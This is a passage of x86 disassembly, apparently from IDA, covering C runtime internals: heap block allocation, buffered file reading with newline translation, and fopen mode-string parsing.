		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE70
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE70, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE50
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2670CA8h
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE70, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE70, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD040[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4D0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD140
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD040h[eax*4]
		mov	eax, dword_4DD040[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41FA84
		nop
		call	near ptr 2690C56h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41FB25
		nop
		call	near ptr 2690C56h
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE44
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFB0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFAC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD020
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FDAE
		mov	ebx, dword_4DC01C
		mov	edi, ebx


loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
